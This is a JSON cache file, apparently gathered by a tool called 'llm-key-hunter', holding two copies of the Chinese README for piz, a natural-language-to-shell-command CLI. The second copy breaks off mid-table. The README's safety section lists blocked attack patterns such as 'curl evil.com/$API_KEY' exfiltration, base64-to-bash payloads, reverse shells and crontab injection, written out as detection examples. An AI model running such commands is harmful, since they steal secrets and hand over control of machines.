Files
hack/tools/scripts/llm-key-hunter/results/_cache/content/ariesoxo_piz.json
T

1 line
598 KiB
JSON
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
{"repo": "ariesoxo/piz", "files": {"README.md": {"9f6d61b742783293d95b348ac1408254df447b0e": {"t": 1785674038.4922187, "n": 13084, "h": "90670ac899a45eb0", "c": "<h1 align=\"center\">piz</h1>\n\n<p align=\"center\">\n <strong>智能终端命令助手</strong><br>\n 用自然语言描述,自动生成 Shell 命令\n</p>\n\n<p align=\"center\">\n <a href=\"https://github.com/AriesOxO/piz/actions\"><img src=\"https://github.com/AriesOxO/piz/workflows/CI/badge.svg\" alt=\"CI\"></a>\n <a href=\"https://github.com/AriesOxO/piz/releases\"><img src=\"https://img.shields.io/github/v/release/AriesOxO/piz\" alt=\"Release\"></a>\n <a href=\"https://github.com/AriesOxO/piz/blob/main/LICENSE\"><img src=\"https://img.shields.io/github/license/AriesOxO/piz\" alt=\"License\"></a>\n</p>\n\n<p align=\"center\">\n <a href=\"./README_EN.md\">English</a> |\n <a href=\"./README.md\">简体中文</a>\n</p>\n\n---\n\n<p align=\"center\">\n <img src=\"assets/demo.gif\" alt=\"piz demo\" width=\"800\">\n</p>\n\n## piz 是什么?\n\n**piz** 解决一个问题:你知道想做什么,但记不住具体命令。用自然语言描述你的需求,piz 自动翻译成适合当前系统和 Shell 的命令。\n\n```\n$ piz 查看磁盘使用情况\n ➜ df -h\n [Y] 执行 [n] 取消 [e] 编辑 [r] 重新生成\n```\n\n## 核心功能\n\n- **自然语言转命令** — 描述需求,得到精确命令\n- **多 LLM 后端** — 支持 OpenAI、Claude、Gemini、Ollama + 12 个 OpenAI 兼容供应商(DeepSeek、硅基流动、OpenRouter、Moonshot、智谱GLM、百度千帆、阿里DashScope、Mistral、Together、Minimax、字节BytePlus 等)\n- **安全加固** — 三层防护:Prompt 层拒绝非命令输入、注入检测(base64 载荷、环境变量泄露、反弹 Shell、curl 配置攻击)、正则危险分级\n- **危险命令检测** — 正则 + LLM 双重防护,危险命令强制二次确认,无法跳过\n- **命令解释** — `piz -e 'command'` 逐项拆解命令含义\n- **命令纠错** — `piz fix` 自动诊断并修复失败命令,支持自动重试(最多 3 次)\n- **交互式对话** — `piz chat` 多轮对话模式,支持 `/help`、`/clear`、`/history` 命令和历史持久化\n- **多候选命令** — `-n` 参数生成多个命令方案,自主选择最优方案\n- **重新生成** — 对结果不满意?按 `[r]` 跳过缓存重新请求 LLM,无需手动清缓存\n- **本地缓存** — SQLite 缓存 + TTL 过期 + LRU 淘汰 + 模型隔离(切换模型自动失效旧缓存),重复查询秒返回\n- **命令校验** — 自动清洗 LLM 输出的前导垃圾字符,拦截空命令和 no-op,提升中小模型兼容性\n- **执行历史** — `piz history` 查看和搜索所有执行过的命令\n- **Shell 集成** — `piz init <shell>` 生成 Shell 包装函数,使 `cd`/`export`/`source` 在当前 Shell 中正确生效(bash、zsh、fish、PowerShell),内置便捷别名(`p`、`pf`、`pc`)\n- **Eval 模式** — `--eval` 将确认后的命令输出给 Shell 包装函数执行\n- **Shell 补全** — 支持 bash、zsh、fish、PowerShell 自动补全\n- **管道模式** — `--pipe` 纯命令输出,便于脚本集成\n- **多语言界面** — 中文、英文,安全提示信息全面国际化\n- **跨平台** — Windows (PowerShell/cmd)、macOS、Linux (bash/zsh/fish),零侵入编码处理(不修改 `chcp`/`OutputEncoding`)\n- **交互式配置** — 首次运行自动引导,内置供应商预设,无需手动编辑配置\n- **NO_COLOR 支持** — 尊重 `NO_COLOR` 环境变量\n- **API 容错** — 429/5xx 错误自动重试 + 指数退避\n\n## 快速开始\n\n### 安装\n\n**Homebrew(macOS / Linux):**\n\n```bash\nbrew install AriesOxO/tap/piz\n```\n\n**macOS / Linux(一键安装):**\n\n```bash\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n```\n\n**Windows(PowerShell):**\n\n```powershell\niwr -useb https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n**Cargo(全平台):**\n\n```bash\ncargo install piz\n```\n\n**手动下载:**\n\n前往 [Releases](https://github.com/AriesOxO/piz/releases) 下载二进制文件、`.msi`(Windows)或 `.deb`(Debian/Ubuntu)。\n\n| 平台 | 下载格式 |\n|------|---------|\n| Windows x86_64 | `.msi` `.zip` |\n| macOS x86_64 | `.tar.gz` |\n| macOS ARM64 (Apple Silicon) | `.tar.gz` |\n| Linux x86_64 | `.tar.gz` `.deb` |\n| Linux ARM64 | `.tar.gz` |\n\n### 配置\n\n首次运行任何命令,会自动进入交互式配置向导:\n\n```\n$ piz 列出文件\n\n ⚙ piz 配置向导\n\n? 选择语言 / Select language:中文\n? 选择默认 LLM 后端:\n > openai (DeepSeek, SiliconFlow, OpenRouter, ...)\n claude\n gemini (Google)\n ollama (本地)\n? 选择 API 供应商:\n OpenAI / DeepSeek / 硅基流动 / OpenRouter / Moonshot\n 智谱GLM / 百度千帆 / 阿里DashScope / Mistral / Together\n Minimax / 字节BytePlus / 自定义URL\n? API 地址:https://api.siliconflow.cn\n? API 密钥:sk-xxxxx\n? 模型名称:Qwen/Qwen3-8B\n? 安全命令是否自动执行(不弹出确认)?是\n\n ✔ 配置已保存\n```\n\n也可以手动运行:`piz config --init`\n\n## 使用示例\n\n### 自然语言转命令\n\n```bash\npiz 查看磁盘使用情况 # → df -h\npiz 找出所有大于100M的文件 # → find . -size +100M -type f\npiz 压缩src目录 # → tar -czf src.tar.gz src/\npiz 查看3000端口被谁占用 # → lsof -i :3000\npiz 统计当前目录代码行数 # → find . -name \"*.rs\" | xargs wc -l\n```\n\n### 多候选模式\n\n```bash\n$ piz -n 3 查找大文件\n? 选择要执行的命令:\n> 1. find . -size +100M -type f — 查找大于 100MB 的文件\n 2. du -ah . | sort -rh | head -20 — 显示最大的 20 个文件/目录\n 3. ls -lhRS | head -30 — 按大小降序列出文件\n```\n\n### 命令解释\n\n```bash\n$ piz -e 'awk \"{print \\$2}\" access.log | sort | uniq -c | sort -rn | head -10'\n📖 命令解释:\n\n awk \"{print $2}\" — 提取每行第2个字段(通常是URL或IP)\n access.log — 输入文件\n sort — 排序(为 uniq 做准备)\n uniq -c — 去重并统计出现次数\n sort -rn — 按数字降序排列\n head -10 — 取前10条结果\n```\n\n### 命令纠错\n\n```bash\n$ npm install\n→ EACCES: permission denied...\n\n$ piz fix\n🔧 诊断:权限不足,无法写入 node_modules\n - npm install\n + sudo npm install\n```\n\n修复命令支持自动重试:如果修复后的命令仍然失败,piz 会继续分析错误并尝试修复,最多 3 轮。\n\n### 交互式对话模式\n\n```bash\n$ piz chat\n💬 交互模式\n输入你的请求,或 'exit'/'quit' 退出。\n\n> 列出所有运行中的 docker 容器\n ➜ docker ps\n [Y] 执行 [n] 取消 [e] 编辑\n\n> 只显示名称\n ➜ docker ps --format '{{.Names}}'\n```\n\n对话模式支持特殊命令:\n- `/help` — 显示可用命令\n- `/clear` — 清除对话历史\n- `/history` — 查看对话历史\n- `/detail` — 切换内联命令解释开关\n\n### 执行历史\n\n```bash\n$ piz history # 查看最近 20 条执行记录\n$ piz history docker -l 10 # 搜索含 \"docker\" 的最近 10 条记录\n```\n\n### Shell 补全\n\n```bash\npiz completions bash > ~/.bash_completion.d/piz # Bash\npiz completions zsh > ~/.zfunc/_piz # Zsh\npiz completions fish > ~/.config/fish/completions/piz.fish # Fish\npiz completions powershell > piz.ps1 # PowerShell\n```\n\n### Shell 集成\n\nShell 集成可以让 `cd`、`export`、`source` 等命令在当前 Shell 会话中正确生效。运行 `piz init <shell>` 并将输出添加到你的 Shell 配置文件中:\n\n**Bash / Zsh:**\n\n```bash\n# 添加到 ~/.bashrc 或 ~/.zshrc:\neval \"$(piz init bash)\" # 或:eval \"$(piz init zsh)\"\n```\n\n**Fish:**\n\n```fish\n# 添加到 ~/.config/fish/config.fish:\npiz init fish | source\n```\n\n**PowerShell:**\n\n```powershell\n# 添加到 $PROFILE:\npiz init powershell | Out-String | Invoke-Expression\n```\n\n配置完成后,piz 会自动使用 `--eval` 模式,`cd`、`export`、`source` 等命令将在当前 Shell 中正确生效。\n\nShell 集成还提供了内置便捷别名:\n\n| 别名 | 命令 | 说明 |\n|------|------|------|\n| `p` | `piz` | piz 短别名 |\n| `pf` | `piz fix` | 快速修复上一条失败命令 |\n| `pc` | `piz chat` | 快速进入对话模式 |\n\n```bash\np 列出所有 rust 文件 # 等同于:piz 列出所有 rust 文件\npf # 等同于:piz fix\npc # 等同于:piz chat\n```\n\n### 管道模式\n\n```bash\n# 仅输出命令,无 UI —— 适合脚本集成\npiz --pipe 查看所有 rust 文件 # → find . -name \"*.rs\"\neval $(echo \"列出文件\" | piz --pipe) # 直接执行\n```\n\n### 配置管理\n\n```bash\npiz config --init # 运行配置向导\npiz config --show # 查看当前配置(API 密钥自动脱敏)\npiz config --reset # 删除配置文件,重新开始\n```\n\n### 其他用法\n\n```bash\npiz --backend ollama 查看内存 # 临时切换后端\npiz --backend gemini 查看CPU # 使用 Google Gemini\npiz --no-cache 查看系统信息 # 跳过缓存\npiz --verbose 列出文件 # 调试:显示 Prompt 和 LLM 响应\npiz -n 3 列出文件 # 生成 3 个候选命令\npiz clear-cache # 清空缓存\npiz --eval 列出文件 # Eval 模式(用于 Shell 集成)\npiz --version # 查看版本\n```\n\n## 更新\n\n### 自更新\n\n```bash\npiz update # 交互式:检查最新版本并升级\n```\n\n`piz update` 检查 GitHub Releases 获取最新版本。如果有新版本,可选择两种升级方式:\n\n1. **覆盖安装** — 直接替换当前二进制文件\n2. **卸载后重装** — 先删除旧版本,再安装新版本\n\n两种方式均支持失败自动回滚。\n\n### 自动更新检查\n\npiz 在每次运行后**自动在后台检查更新**(每 24 小时最多一次,5 秒超时,绝不会阻塞)。检测到新版本时会显示提示:\n\n```\nℹ piz 0.3.0 is available (current: 0.2.5). Run `piz update` to upgrade.\n```\n\n无需任何配置即可使用。检查状态存储在 `~/.piz/update_state.json`。\n\n### 手动安装(指定版本)\n\n如需安装特定版本,可直接从 [GitHub Releases](https://github.com/AriesOxO/piz/releases) 下载:\n\n```bash\n# Linux/macOS — 替换 VERSION 和 TARGET\ncurl -fsSL https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-TARGET.tar.gz | tar xz\nsudo mv piz /usr/local/bin/\n\n# Windows (PowerShell)\nInvoke-WebRequest -Uri \"https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-x86_64-pc-windows-msvc.zip\" -OutFile piz.zip\nExpand-Archive piz.zip -DestinationPath .\nMove-Item piz.exe \"$env:LOCALAPPDATA\\piz\\piz.exe\"\n```\n\n或通过安装脚本重新安装:\n\n```bash\n# Linux/macOS\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n\n# Windows (PowerShell)\nirm https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n## 支持的供应商\n\n### 原生后端\n\n| 后端 | 配置段 | 说明 |\n|------|--------|------|\n| **OpenAI** | `[openai]` | 同时支持任何 OpenAI 兼容 API(通过 `base_url`) |\n| **Claude** | `[claude]` | Anthropic Messages API,支持自定义 `base_url` |\n| **Gemini** | `[gemini]` | Google Generative AI 原生 API |\n| **Ollama** | `[ollama]` | 本地模型,无需 API key |\n\n### OpenAI 兼容供应商(通过 `[openai]` + 自定义 `base_url`)\n\n<details>\n<summary>点击展开全部 12 个供应商</summary>\n\n| 供应商 | base_url | 默认模型 |\n|--------|----------|---------|\n| OpenAI | `https://api.openai.com` | gpt-4o-mini |\n| DeepSeek | `https://api.deepseek.com` | deepseek-chat |\n| 硅基流动 | `https://api.siliconflow.cn` | Qwen/Qwen3-8B |\n| OpenRouter | `https://openrouter.ai/api/v1` | auto |\n| Moonshot/Kimi | `https://api.moonshot.cn` | moonshot-v1-8k |\n| 智谱/GLM | `https://open.bigmodel.cn/api/paas/v4` | glm-4-flash |\n| 百度千帆 | `https://qianfan.baidubce.com/v2` | deepseek-v3 |\n| 阿里DashScope | `https://dashscope.aliyuncs.com/compatible-mode/v1` | qwen-plus |\n| Mistral | `https://api.mistral.ai/v1` | mistral-small-latest |\n| Together | `https://api.together.xyz/v1` | Meta-Llama-3-8B |\n| Minimax | `https://api.minimax.io/v1` | MiniMax-M1 |\n| 字节BytePlus | `https://api.byteplus.volcengineapi.com/v1` | doubao-1.5-pro-32k |\n\n</details>\n\n## 配置文件\n\n路径:`~/.piz/config.toml`\n\n```toml\ndefault_backend = \"openai\"\ncache_ttl_hours = 48 # 缓存有效期(2天)\ncache_max_entries = 1000 # 最大缓存条目数(LRU 淘汰)\nauto_confirm_safe = true # 安全命令自动执行\nlanguage = \"zh\" # 界面语言:zh / en\nchat_history_size = 20 # 对话历史最大消息数\n\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"gpt-4o-mini\"\n# base_url = \"https://api.openai.com\"\n\n# [claude]\n# api_key = \"sk-ant-xxx\"\n# model = \"claude-sonnet-4-20250514\"\n\n# [gemini]\n# api_key = \"your-gemini-key\"\n# model = \"gemini-2.5-flash\"\n\n# [ollama]\n# host = \"http://localhost:11434\"\n# model = \"llama3\"\n```\n\n### 常见供应商配置\n\n<details>\n<summary>DeepSeek</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-deepseek-key\"\nmodel = \"deepseek-chat\"\nbase_url = \"https://api.deepseek.com\"\n```\n</details>\n\n<details>\n<summary>硅基流动 (SiliconFlow)</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"Qwen/Qwen3-8B\"\nbase_url = \"https://api.siliconflow.cn\"\n```\n</details>\n\n<details>\n<summary>Google Gemini</summary>\n\n```toml\n[gemini]\napi_key = \"your-gemini-key\"\nmodel = \"gemini-2.5-flash\"\n```\n</details>\n\n<details>\n<summary>OpenRouter</summary>\n\n```toml\n[openai]\napi_key = \"sk-or-your-key\"\nmodel = \"auto\"\nbase_url = \"https://openrouter.ai/api/v1\"\n```\n</details>\n\n<details>\n<summary>Moonshot / 月之暗面</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"moonshot-v1-8k\"\nbase_url = \"https://api.moonshot.cn\"\n```\n</details>\n\n<details>\n<summary>智谱 / GLM</summary>\n\n```toml\n[openai]\napi_key = \"your-key\"\nmodel = \"glm-4-flash\"\nbase_url = \"https://open.bigmodel.cn/api/paas/v4\"\n```\n</details>\n\n## 安全机制\n\npiz 实现了三层安全防护:\n\n### 1. Prompt 层拒绝\n非命令输入(问候、闲聊、Prompt 注入尝试)会被 LLM 拒绝并返回说明,不会生成可执行命令。\n\n### 2. 注入检测(本地正则,无需 LLM)\n命令在执行前会被扫描以下恶意模式:\n- 环境变量泄露(`curl evil.com/$API_KEY`)\n- 编码载荷(`echo ... | base64 -d | bash`)\n- 反弹 Shell(`python -e 'import socket...'`)\n- Shell 配置覆写(`> ~/.bashrc`)\n- 静默 Crontab 注入(`| crontab -`)\n- curl 配置文件攻击(`curl -K malicious.conf`)\n- 下载-执行链(`wget ... && chmod +x && ./`)\n- 危险的 find/xargs 模式(`find -delete`、`xargs rm`)\n\n命中以上模式的命令会被**直接拦截**,无法执行。注入提示信息已全面国际化(中/英)。\n\n缓存命中时也会重新验证注入检测 —— 中毒的缓存条目会被自动清除。\n\n### 3. 危险分级\n\n| 级别 | 行为 | 示例 |\n|------|------|------|\n| **安全** | 自动执行(如已配置) | `ls`、`df -h`、`git status` |\n| **警告** | 弹出确认 | `sudo apt install`、`chmod 755`、`git push` |\n| **危险** | 红色警告 + 强制二次确认(无法跳过) | `rm -rf /`、`mkfs`、`DROP TABLE` |\n\n## 项目结构\n\n```\npiz/\n├── src/\n│ ├── main.rs # 入口,CLI 分发,响应解析,多候选选择\n│ ├── cli.rs # clap 命令行参数定义(含 clap_complete)\n│ ├── config.rs # TOML 配置 + 交互式配置向导(12 个供应商预设)\n│ ├── context.rs # 系统上下文收集(OS、Shell、CWD、架构、Git、包管理器)\n│ ├── i18n.rs # 多语言翻译(中/英),含注入检测消息国际化\n│ ├── llm/\n│ │ ├── mod.rs # LlmBackend trait + 工厂函数 + 重试/退避工具\n│ │ ├── prompt.rs # Prompt 模板(含安全规则、few-shot 示例、多候选支持)\n│ │ ├── openai.rs # OpenAI 兼容适配器(含重试)\n│ │ ├── claude.rs # Claude 适配器(含重试)\n│ │ ├── gemini.rs # Google Gemini 适配器(含重试)\n│ │ └── ollama.rs # Ollama 适配器(含重试)\n│ ├── cache.rs # SQLite 缓存(SHA256 key + TTL + LRU 淘汰)+ 执行历史\n│ ├── danger.rs # 正则危险检测 + 注入扫描(InjectionReason 枚举)\n│ ├── executor.rs # 用户确认交互 + 命令执行\n│ ├── explain.rs # 命令解释模式\n│ ├── fix.rs # 命令纠错模式 + 自动修复重试循环\n│ ├── chat.rs # 交互式对话模式(斜杠命令 + 历史持久化)\n│ ├── history.rs # Shell 历史记录读取\n│ ├── shell_init.rs # Shell 集成代码生成(bash/zsh/fish/PowerShell)+ 内置别名\n│ └── ui.rs # 终端输出格式化(Spinner、Diff、着色)\n├── tests/\n│ ├── integration.rs # 集成测试\n│ ├── llm_e2e.rs # LLM 端到端测试(需要 API key,默认跳过)\n│ └── windows_shells.rs # 跨 Shell 测试(cmd/PowerShell/bash)\n├── homebrew/\n│ └── piz.rb # Homebrew formula 模板(发版时自动渲染)\n├── install.sh # macOS/Linux 安装脚本\n└── install.ps1 # Windows 安装脚本\n```\n\n## 构建\n\n```bash\n# 前提:Rust 1.70+\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\n\ncargo build --release # 构建\ncargo test # 运行测试(437 个)\ncargo install --path . # 安装到 PATH\n```\n\n## 环境变量\n\n| 变量 | 说明 |\n|------|------|\n| `NO_COLOR` | 设置为任意值可禁用彩色输出 |\n\n## 参与贡献\n\n欢迎贡献!请阅读 [CONTRIBUTING.md](CONTRIBUTING.md) 了解贡献指南。\n\n## 许可证\n\n本项目基于 MIT 许可证开源,详见 [LICENSE](LICENSE)。\n\n## Star History\n\n[![Star History Chart](https://api.star-history.com/svg?repos=AriesOxO/piz&type=Date)](https://star-history.com/#AriesOxO/piz&Date)\n"}, "b57cdaefb3d48cf1381a4fe385e35f4d1f9a83d6": {"t": 1785760762.3442361, "n": 13084, "h": "90670ac899a45eb0", "c": "<h1 align=\"center\">piz</h1>\n\n<p align=\"center\">\n <strong>智能终端命令助手</strong><br>\n 用自然语言描述,自动生成 Shell 命令\n</p>\n\n<p align=\"center\">\n <a href=\"https://github.com/AriesOxO/piz/actions\"><img src=\"https://github.com/AriesOxO/piz/workflows/CI/badge.svg\" alt=\"CI\"></a>\n <a href=\"https://github.com/AriesOxO/piz/releases\"><img src=\"https://img.shields.io/github/v/release/AriesOxO/piz\" alt=\"Release\"></a>\n <a href=\"https://github.com/AriesOxO/piz/blob/main/LICENSE\"><img src=\"https://img.shields.io/github/license/AriesOxO/piz\" alt=\"License\"></a>\n</p>\n\n<p align=\"center\">\n <a href=\"./README_EN.md\">English</a> |\n <a href=\"./README.md\">简体中文</a>\n</p>\n\n---\n\n<p align=\"center\">\n <img src=\"assets/demo.gif\" alt=\"piz demo\" width=\"800\">\n</p>\n\n## piz 是什么?\n\n**piz** 解决一个问题:你知道想做什么,但记不住具体命令。用自然语言描述你的需求,piz 自动翻译成适合当前系统和 Shell 的命令。\n\n```\n$ piz 查看磁盘使用情况\n ➜ df -h\n [Y] 执行 [n] 取消 [e] 编辑 [r] 重新生成\n```\n\n## 核心功能\n\n- **自然语言转命令** — 描述需求,得到精确命令\n- **多 LLM 后端** — 支持 OpenAI、Claude、Gemini、Ollama + 12 个 OpenAI 兼容供应商(DeepSeek、硅基流动、OpenRouter、Moonshot、智谱GLM、百度千帆、阿里DashScope、Mistral、Together、Minimax、字节BytePlus 等)\n- **安全加固** — 三层防护:Prompt 层拒绝非命令输入、注入检测(base64 载荷、环境变量泄露、反弹 Shell、curl 配置攻击)、正则危险分级\n- **危险命令检测** — 正则 + LLM 双重防护,危险命令强制二次确认,无法跳过\n- **命令解释** — `piz -e 'command'` 逐项拆解命令含义\n- **命令纠错** — `piz fix` 自动诊断并修复失败命令,支持自动重试(最多 3 次)\n- **交互式对话** — `piz chat` 多轮对话模式,支持 `/help`、`/clear`、`/history` 命令和历史持久化\n- **多候选命令** — `-n` 参数生成多个命令方案,自主选择最优方案\n- **重新生成** — 对结果不满意?按 `[r]` 跳过缓存重新请求 LLM,无需手动清缓存\n- **本地缓存** — SQLite 缓存 + TTL 过期 + LRU 淘汰 + 模型隔离(切换模型自动失效旧缓存),重复查询秒返回\n- **命令校验** — 自动清洗 LLM 输出的前导垃圾字符,拦截空命令和 no-op,提升中小模型兼容性\n- **执行历史** — `piz history` 查看和搜索所有执行过的命令\n- **Shell 集成** — `piz init <shell>` 生成 Shell 包装函数,使 `cd`/`export`/`source` 在当前 Shell 中正确生效(bash、zsh、fish、PowerShell),内置便捷别名(`p`、`pf`、`pc`)\n- **Eval 模式** — `--eval` 将确认后的命令输出给 Shell 包装函数执行\n- **Shell 补全** — 支持 bash、zsh、fish、PowerShell 自动补全\n- **管道模式** — `--pipe` 纯命令输出,便于脚本集成\n- **多语言界面** — 中文、英文,安全提示信息全面国际化\n- **跨平台** — Windows (PowerShell/cmd)、macOS、Linux (bash/zsh/fish),零侵入编码处理(不修改 `chcp`/`OutputEncoding`)\n- **交互式配置** — 首次运行自动引导,内置供应商预设,无需手动编辑配置\n- **NO_COLOR 支持** — 尊重 `NO_COLOR` 环境变量\n- **API 容错** — 429/5xx 错误自动重试 + 指数退避\n\n## 快速开始\n\n### 安装\n\n**Homebrew(macOS / Linux):**\n\n```bash\nbrew install AriesOxO/tap/piz\n```\n\n**macOS / Linux(一键安装):**\n\n```bash\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n```\n\n**Windows(PowerShell):**\n\n```powershell\niwr -useb https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n**Cargo(全平台):**\n\n```bash\ncargo install piz\n```\n\n**手动下载:**\n\n前往 [Releases](https://github.com/AriesOxO/piz/releases) 下载二进制文件、`.msi`(Windows)或 `.deb`(Debian/Ubuntu)。\n\n| 平台 | 下载格式 |\n|------|---------|\n| Windows x86_64 | `.msi` `.zip` |\n| macOS x86_64 | `.tar.gz` |\n| macOS ARM64 (Apple Silicon) | `.tar.gz` |\n| Linux x86_64 | `.tar.gz` `.deb` |\n| Linux ARM64 | `.tar.gz` |\n\n### 配置\n\n首次运行任何命令,会自动进入交互式配置向导:\n\n```\n$ piz 列出文件\n\n ⚙ piz 配置向导\n\n? 选择语言 / Select language:中文\n? 选择默认 LLM 后端:\n > openai (DeepSeek, SiliconFlow, OpenRouter, ...)\n claude\n gemini (Google)\n ollama (本地)\n? 选择 API 供应商:\n OpenAI / DeepSeek / 硅基流动 / OpenRouter / Moonshot\n 智谱GLM / 百度千帆 / 阿里DashScope / Mistral / Together\n Minimax / 字节BytePlus / 自定义URL\n? API 地址:https://api.siliconflow.cn\n? API 密钥:sk-xxxxx\n? 模型名称:Qwen/Qwen3-8B\n? 安全命令是否自动执行(不弹出确认)?是\n\n ✔ 配置已保存\n```\n\n也可以手动运行:`piz config --init`\n\n## 使用示例\n\n### 自然语言转命令\n\n```bash\npiz 查看磁盘使用情况 # → df -h\npiz 找出所有大于100M的文件 # → find . -size +100M -type f\npiz 压缩src目录 # → tar -czf src.tar.gz src/\npiz 查看3000端口被谁占用 # → lsof -i :3000\npiz 统计当前目录代码行数 # → find . -name \"*.rs\" | xargs wc -l\n```\n\n### 多候选模式\n\n```bash\n$ piz -n 3 查找大文件\n? 选择要执行的命令:\n> 1. find . -size +100M -type f — 查找大于 100MB 的文件\n 2. du -ah . | sort -rh | head -20 — 显示最大的 20 个文件/目录\n 3. ls -lhRS | head -30 — 按大小降序列出文件\n```\n\n### 命令解释\n\n```bash\n$ piz -e 'awk \"{print \\$2}\" access.log | sort | uniq -c | sort -rn | head -10'\n📖 命令解释:\n\n awk \"{print $2}\" — 提取每行第2个字段(通常是URL或IP)\n access.log — 输入文件\n sort — 排序(为 uniq 做准备)\n uniq -c — 去重并统计出现次数\n sort -rn — 按数字降序排列\n head -10 — 取前10条结果\n```\n\n### 命令纠错\n\n```bash\n$ npm install\n→ EACCES: permission denied...\n\n$ piz fix\n🔧 诊断:权限不足,无法写入 node_modules\n - npm install\n + sudo npm install\n```\n\n修复命令支持自动重试:如果修复后的命令仍然失败,piz 会继续分析错误并尝试修复,最多 3 轮。\n\n### 交互式对话模式\n\n```bash\n$ piz chat\n💬 交互模式\n输入你的请求,或 'exit'/'quit' 退出。\n\n> 列出所有运行中的 docker 容器\n ➜ docker ps\n [Y] 执行 [n] 取消 [e] 编辑\n\n> 只显示名称\n ➜ docker ps --format '{{.Names}}'\n```\n\n对话模式支持特殊命令:\n- `/help` — 显示可用命令\n- `/clear` — 清除对话历史\n- `/history` — 查看对话历史\n- `/detail` — 切换内联命令解释开关\n\n### 执行历史\n\n```bash\n$ piz history # 查看最近 20 条执行记录\n$ piz history docker -l 10 # 搜索含 \"docker\" 的最近 10 条记录\n```\n\n### Shell 补全\n\n```bash\npiz completions bash > ~/.bash_completion.d/piz # Bash\npiz completions zsh > ~/.zfunc/_piz # Zsh\npiz completions fish > ~/.config/fish/completions/piz.fish # Fish\npiz completions powershell > piz.ps1 # PowerShell\n```\n\n### Shell 集成\n\nShell 集成可以让 `cd`、`export`、`source` 等命令在当前 Shell 会话中正确生效。运行 `piz init <shell>` 并将输出添加到你的 Shell 配置文件中:\n\n**Bash / Zsh:**\n\n```bash\n# 添加到 ~/.bashrc 或 ~/.zshrc:\neval \"$(piz init bash)\" # 或:eval \"$(piz init zsh)\"\n```\n\n**Fish:**\n\n```fish\n# 添加到 ~/.config/fish/config.fish:\npiz init fish | source\n```\n\n**PowerShell:**\n\n```powershell\n# 添加到 $PROFILE:\npiz init powershell | Out-String | Invoke-Expression\n```\n\n配置完成后,piz 会自动使用 `--eval` 模式,`cd`、`export`、`source` 等命令将在当前 Shell 中正确生效。\n\nShell 集成还提供了内置便捷别名:\n\n| 别名 | 命令 | 说明 |\n|------|------|------|\n| `p` | `piz` | piz 短别名 |\n| `pf` | `piz fix` | 快速修复上一条失败命令 |\n| `pc` | `piz chat` | 快速进入对话模式 |\n\n```bash\np 列出所有 rust 文件 # 等同于:piz 列出所有 rust 文件\npf # 等同于:piz fix\npc # 等同于:piz chat\n```\n\n### 管道模式\n\n```bash\n# 仅输出命令,无 UI —— 适合脚本集成\npiz --pipe 查看所有 rust 文件 # → find . -name \"*.rs\"\neval $(echo \"列出文件\" | piz --pipe) # 直接执行\n```\n\n### 配置管理\n\n```bash\npiz config --init # 运行配置向导\npiz config --show # 查看当前配置(API 密钥自动脱敏)\npiz config --reset # 删除配置文件,重新开始\n```\n\n### 其他用法\n\n```bash\npiz --backend ollama 查看内存 # 临时切换后端\npiz --backend gemini 查看CPU # 使用 Google Gemini\npiz --no-cache 查看系统信息 # 跳过缓存\npiz --verbose 列出文件 # 调试:显示 Prompt 和 LLM 响应\npiz -n 3 列出文件 # 生成 3 个候选命令\npiz clear-cache # 清空缓存\npiz --eval 列出文件 # Eval 模式(用于 Shell 集成)\npiz --version # 查看版本\n```\n\n## 更新\n\n### 自更新\n\n```bash\npiz update # 交互式:检查最新版本并升级\n```\n\n`piz update` 检查 GitHub Releases 获取最新版本。如果有新版本,可选择两种升级方式:\n\n1. **覆盖安装** — 直接替换当前二进制文件\n2. **卸载后重装** — 先删除旧版本,再安装新版本\n\n两种方式均支持失败自动回滚。\n\n### 自动更新检查\n\npiz 在每次运行后**自动在后台检查更新**(每 24 小时最多一次,5 秒超时,绝不会阻塞)。检测到新版本时会显示提示:\n\n```\nℹ piz 0.3.0 is available (current: 0.2.5). Run `piz update` to upgrade.\n```\n\n无需任何配置即可使用。检查状态存储在 `~/.piz/update_state.json`。\n\n### 手动安装(指定版本)\n\n如需安装特定版本,可直接从 [GitHub Releases](https://github.com/AriesOxO/piz/releases) 下载:\n\n```bash\n# Linux/macOS — 替换 VERSION 和 TARGET\ncurl -fsSL https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-TARGET.tar.gz | tar xz\nsudo mv piz /usr/local/bin/\n\n# Windows (PowerShell)\nInvoke-WebRequest -Uri \"https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-x86_64-pc-windows-msvc.zip\" -OutFile piz.zip\nExpand-Archive piz.zip -DestinationPath .\nMove-Item piz.exe \"$env:LOCALAPPDATA\\piz\\piz.exe\"\n```\n\n或通过安装脚本重新安装:\n\n```bash\n# Linux/macOS\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n\n# Windows (PowerShell)\nirm https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n## 支持的供应商\n\n### 原生后端\n\n| 后端 | 配置段 | 说明 |\n|------|--------|------|\n| **OpenAI** | `[openai]` | 同时支持任何 OpenAI 兼容 API(通过 `base_url`) |\n| **Claude** | `[claude]` | Anthropic Messages API,支持自定义 `base_url` |\n| **Gemini** | `[gemini]` | Google Generative AI 原生 API |\n| **Ollama** | `[ollama]` | 本地模型,无需 API key |\n\n### OpenAI 兼容供应商(通过 `[openai]` + 自定义 `base_url`)\n\n<details>\n<summary>点击展开全部 12 个供应商</summary>\n\n| 供应商 | base_url | 默认模型 |\n|--------|----------|---------|\n| OpenAI | `https://api.openai.com` | gpt-4o-mini |\n| DeepSeek | `https://api.deepseek.com` | deepseek-chat |\n| 硅基流动 | 